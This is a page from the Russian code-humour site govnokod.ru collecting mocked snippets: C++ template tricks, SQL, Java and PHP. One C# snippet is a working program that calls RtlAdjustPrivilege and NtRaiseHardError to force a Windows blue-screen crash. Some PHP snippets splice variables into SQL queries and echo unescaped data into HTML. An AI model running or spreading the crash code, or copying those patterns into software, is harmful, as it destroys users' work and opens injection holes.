- 1
31 марта - день бэкапа
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
31 марта - день бэкапа
С праздником, питухи!
+2
#include <array>
#include <iostream>
#include <string_view>
#include <type_traits>
std::string_view getMaxMargin();
template<int bit_num>
struct flag {
friend constexpr int adl_flag(flag<bit_num>);
};
template<int bit_num>
struct writer {
friend constexpr int adl_flag(flag<bit_num>)
{
return bit_num;
}
static constexpr int value = bit_num;
};
template<int bit_num, int = adl_flag(flag<bit_num>{})>
constexpr bool is_flag_set(int, flag<bit_num>)
{
return bit_num >= 0;
}
template<int bit_num>
constexpr bool is_flag_set(float, flag<bit_num>)
{
return false;
}
template<size_t number, size_t bit_num>
constexpr bool get_bit()
{
return (number & (1 << bit_num)) != 0;
}
#define flags_to_size() \
((is_flag_set<0>(0, flag<0>{}) << 0) \
| (is_flag_set<1>(0, flag<1>{}) << 1) \
| (is_flag_set<2>(0, flag<2>{}) << 2) \
| (is_flag_set<3>(0, flag<3>{}) << 3))
template<bool test, typename T_true, typename T_false>
struct meta_if {
using type = T_true;
};
template<typename T_true, typename T_false>
struct meta_if<false, T_true, T_false> {
using type = T_false;
};
template<bool test, typename T_true, typename T_false>
using meta_if_t = typename meta_if<test, T_true, T_false>::type;
template<
size_t desired_size,
int = (0 +
sizeof(meta_if_t<get_bit<desired_size, 0>(), writer<0>, int>) +
sizeof(meta_if_t<get_bit<desired_size, 1>(), writer<1>, int>) +
sizeof(meta_if_t<get_bit<desired_size, 2>(), writer<2>, int>) +
sizeof(meta_if_t<get_bit<desired_size, 3>(), writer<3>, int>)
)
>
constexpr size_t f()
{
return desired_size;
}
int main()
{
constexpr size_t a = f<1>();
constexpr size_t b = f<6>();
std::cout << "Max margin size: " << getMaxMargin().size() << std::endl;
}
constexpr size_t MARGIN_SIZE = flags_to_size();
constexpr char MARGIN_CHAR = 'x';
template<typename T, T... Args>
constexpr auto getMarginStorageImpl(std::integer_sequence<T, Args...>)
{
return std::array<char, sizeof...(Args)>{(static_cast<void>(Args), MARGIN_CHAR)...};
}
constexpr auto getMarginStorage()
{
return getMarginStorageImpl(std::make_integer_sequence<int, MARGIN_SIZE>());
}
constexpr static auto marginStorage = getMarginStorage();;
std::string_view getMaxMargin()
{
return std::string_view(marginStorage.data(), MARGIN_SIZE);
}
"Интересно, можно ли насфиначить такой шаблон, чтобы в пределах TU сгенерированные литералы были слайсами одного статического массива, длина которого выводилась бы автоматически."
0
struct Foo { Foo(int, int); };
struct Bar { explicit Bar(int, int); };
Foo f1(1, 1); // ok
Foo f2 {1, 1}; // ok
Foo f3 = {1, 1}; // ok
Bar b1(1, 1); // ok
Bar b2 {1, 1}; // ok
Bar b3 = {1, 1}; // NOT OKAY
А вы пишите explicit у коньструкторов? До меня коллега доёбуецца, что я не пишу.
0
CREATE OR REPLACE FUNCTION update_last_comment_ids_on_rev_update() RETURNS trigger AS $$
BEGIN
UPDATE comments
SET last_revision_id = NEW.id
FROM comment_revisions
WHERE comments.id_ru = NEW.comment_id
AND comment_revisions.id = comments.last_revision_id
AND comment_revisions.fetch_time < NEW.fetch_time;
IF (NEW.source = 'XYZ') THEN
UPDATE comments
SET last_xyz_revision_id = NEW.id
FROM comment_revisions
WHERE comments.id_ru = NEW.comment_id
AND comment_revisions.id = comments.last_xyz_revision_id AND comment_revisions.fetch_time < NEW.fetch_time;
END IF;
RETURN NULL;
END;
$$ LANGUAGE plpgsql;
Извини, defecate-plusplus, снова я на тебя ору из 1970-х.
+2
$queapplemode = mysqli_query($connect, "SELECT * FROM application_moderate_history ORDER BY user_id ") or die ("error_11111");
$num=0;
$nummm=0;
$oldmodered="";
$newmodered="";
while($apmod = ($queapplemode))
{
// по данной таблице сортируем модераторов по порядку по айди, отслеживаем аппликатион айди, если его нет в бечелор аппликатион, тогда долой, если есть, то сверяем type_id, если 1, то успех и (если не успех, то мимо) тогда берем все данные из таблицы аппликатион модерат и далее обращаемсся в таблицу бачелор аппликатион и берем по аппликатион id там user_id абитуриента
$apid = $apmod['application_id']; //id таблицы bachelor_application
$apidquee = mysqli_query($connect, "SELECT * FROM bachelor_application WHERE id = '{$apid}'") or die ("error_11111");
if($apidquee11 = mysqli_fetch_assoc($apidquee))
{
if($apidquee11['type_id'] == 2)
{
$stateus = $apmod['status']; // статус модерирования
if($stateus == 0)
{
$stateuss = "Готовится";
}
elseif($stateus == 1)
{
$stateuss = "Подано";
}
elseif($stateus == 2)
{
$stateuss = "Принято";
}
elseif($stateus == 3)
{
$stateuss = "Отклонено";
}
$id_moderchika = $apmod['user_id']; // id модератора
$moder = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_moderchika}' ") or die ("error_111");
$modered = mysqli_fetch_assoc($moder);
$modered = $modered['username']; //имя модератора
$commentar = $apmod['comment']; //комментарий от модератора
$sozdan = $apmod['created_at']; //дата модерации
$sozdan = Yii::$app->formatter->asDatetime($sozdan);
$id_polzot = $apidquee11['user_id']; //id абитуриента
$user = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_polzot}' ") or die ("error_1110");
$usered = mysqli_fetch_assoc($user);
$usered = $usered['username'];
$userfio = mysqli_query($connect, "SELECT * FROM user_profile WHERE user_id = '{$id_polzot}' ") or die ("error_1110");
$userfioed = mysqli_fetch_assoc($userfio);
$userfiofir = $userfioed['firstname'];
$userfiomid = $userfioed['middlename'];
$userfiolas = $userfioed['lastname'];
?>
<tr>
<td style="border: solid 1px #000; text-align:center;"><?php echo $id_moderchika; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $modered; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $id_polzot; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $usered; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $userfiofir." ".$userfiomid." ".$userfiolas; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $stateuss; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $commentar; ?></td>
<td style="border: solid 1px #000; text-align:center;"><?php echo $sozdan; ?></td>
</tr>
<?php
$num++;
$newmodered = $modered['username'];
if($newmodered == $oldmodered)
{
$nummm++;
$oldmodered = $newmodered;
}
else
{
$oldmodered = $newmodered;
}
// получаем нового модератора, если новый модератор сопоставим со старым модератором, который в предыдущем цикле прошел итерацию, то просто +1 пишем, если нет, то завершаем суммирование и вносим в старого модера нового модера
}
}
}
Когда не умеешь пользоваться Джоинами, и соединяешь таблицы, перебирая результат запроса в цикле
+2
using JINN=System;
namespace SiniyShaman
{
class PrizivSinegoDemona
{
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
[JINN.STAThread]
static unsafe void Main(string[]args)
{
JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
JINN.Boolean t1;
uint t2;
RtlAdjustPrivilege(19,true,false,out t1);
NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
}
}
}
Волшебства не бывает говорили они... В армию уже походу не возьмут %)
0
package java.util;
public final class Optional<T> {
public<U> Optional<U> map(Function<? super T, ? extends U> mapper) {
Objects.requireNonNull(mapper);
if (!isPresent())
return empty();
else {
return Optional.ofNullable(mapper.apply(value));
}
}
}
Они не только не знают, что else после if не нужен и лишь привносит лишний нестинг, они даже единый стиль расставления фигурных скобок выдержать не могут
0
<?php
/*
Purpose : To add database functions.
Created : Nikitasa
Date : 16-11-2016
*/
include 'configs/dbconfig.php';
class mysql{
var $link;
// connect database function
public function connect_database(){
$this->link = mysqli_connect(Host,Username,Password,Database);
if(!$this->link){
die('Unable to connect');
}
// return $this->link;
}
// query execution
public function execute_query($query){
$result = mysqli_query( $this->link, $query);
// mysqli_more_results($this->link);
return $result;
}
// next query execution
public function next_query(){
mysqli_next_result($this->link);
}
// result display
public function display_result($result){
$obj = mysqli_fetch_assoc($result);
return $obj;
}
// clear the results
public function clear_result($result){
mysqli_free_result($result);
}
// real escape string
public function real_escape_str($str){
return mysqli_real_escape_string($this->link, $str);
}
// number of rows
public function num_rows($result){
$num = mysqli_num_rows($result);
return $num;
}
// close connection
public function close_connection(){
//mysqli_close($res);
mysqli_close($this->link);
}
}
$mysql = new mysql();
?>
0
Node* reverse(Node* head)
{
Node *end = head, *current = head;
while (end->next != nullptr) {
end = end->next;
}
Node *initial_end = end, *temp = nullptr, *temp_2 = nullptr;
end->next = current;
temp = current;
current = current->next;
temp->next = nullptr;
while (current != initial_end) {
temp_2 = initial_end->next;
initial_end->next = current;
temp = current;
current = current->next;
temp->next = temp_2;
}
return initial_end;
}
Я где-то прочитал, что на собесе нужно написать переворот односвязного списка за 5 минут... Спустя 2 дня получилось это.
+1
public static <T> Comparator<T> reverseOrder(Comparator<T> cmp) {
if (cmp == null)
return reverseOrder();
if (cmp instanceof ReverseComparator2)
return ((ReverseComparator2<T>)cmp).cmp;
return new ReverseComparator2<>(cmp);
}
кишки стандартной библиотеки йажи продолжают радовать, хорошо хоть нет ReverseComparatorFinal или ReverseComparatorBassBoostedByKirillXXL